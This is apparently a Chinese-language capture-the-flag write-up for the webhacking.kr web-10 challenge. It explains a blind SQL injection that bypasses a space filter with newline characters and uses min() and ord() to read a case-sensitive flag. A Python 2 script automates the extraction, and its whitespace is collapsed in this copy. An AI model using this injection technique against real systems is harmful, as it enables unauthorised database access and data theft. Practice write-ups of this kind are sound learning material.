这道题其实和web-09非常像。
进入页面,发现有提示,知道了column和表的名字。然后试了下直接把参数no
取为查询语句,发现还是很多过滤了,而且最后发现似乎返回值只见到了0和1,估计还是盲注。
过滤的地方,主要是空格有问题,但如果把空格换为换行符%0a
就可以了。
然后还用昨天的思路,但一直跑不出来……最后搜了答案。相比我的,主要是这次flag
有两个,用我昨天做web-09时的那种对应关系被固定了。而用min
或max
就可以用特定的那一个。
另一处是昨天直接检查字符in()
,不区分大小写导致最后暴力了一把;而用ord()
先得到ascii码再检查就可以区分大小写了。
代码如下,我先试了min(flag)
,中了
#!/usr/bin/env python2importhttplibdefmakePayload(statement):return"/challenge/web/web-10/index.php?no=if((select%%0aord(substr(min(flag),%d,1))from%%0aprob13password)in(%d),1,2)"%(statement[0],(statement[1]))defcheckResponse(response):returnresponse.find("<td>1</td>")!=-1defdoAssert(conn,header,statement):conn.request("GET",makePayload(statement),"",header)response=conn.getresponse()content=response.read()returncheckResponse(content)if__name__=="__main__":url="webhacking.kr"header={"cookie":"PHPSESSID=oaka47lr0m69a85ghgfeqinup4"}conn=httplib.HTTPConnection(url)result=[]foridxinrange(1,21):print"idx %d"%idxforcodeinrange(33,127):ifdoAssert(conn,header,(idx,code)):printcoderesult.append(chr(code))breakprint''.join(result)